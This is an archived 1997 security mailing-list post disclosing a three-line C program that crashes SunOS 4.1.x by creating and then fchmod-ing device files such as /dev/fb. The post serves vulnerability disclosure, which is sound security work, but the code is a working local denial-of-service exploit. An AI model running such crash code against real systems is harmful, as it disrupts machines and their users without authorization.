[189] in Best-of-Security

home help back first fref pref prev next nref lref last post

BoS: SunOS 4.1.x crash

daemon@ATHENA.MIT.EDU (Roger Espel Llima)
Tue May 27 15:58:09 1997

Date: 	Tue, 27 May 1997 16:54:03 +0200
Reply-To: Roger Espel Llima <espel@LLAIC.UNIV-BPCLERMONT.FR>
From: Roger Espel Llima <espel@LLAIC.UNIV-BPCLERMONT.FR>
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net


I found the following three-liner to crash SunOS 4.1.x.  It works on
/dev/fb and /dev/audio on some machines; you need permission to open the
device.

main(int argc, char *argv[]) {
  int fd;

  fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
  if (fd < 0) perror("creat"), exit(1);
  fchmod(fd, 0755);             /* BOOM */
}


        Roger
--
e-mail: espel@llaic.univ-bpclermont.fr, espel@unix.bigots.org
WWW page & PGP key: http://www.eleves.ens.fr:8080/home/espel/index.html


home help back first fref pref prev next nref lref last post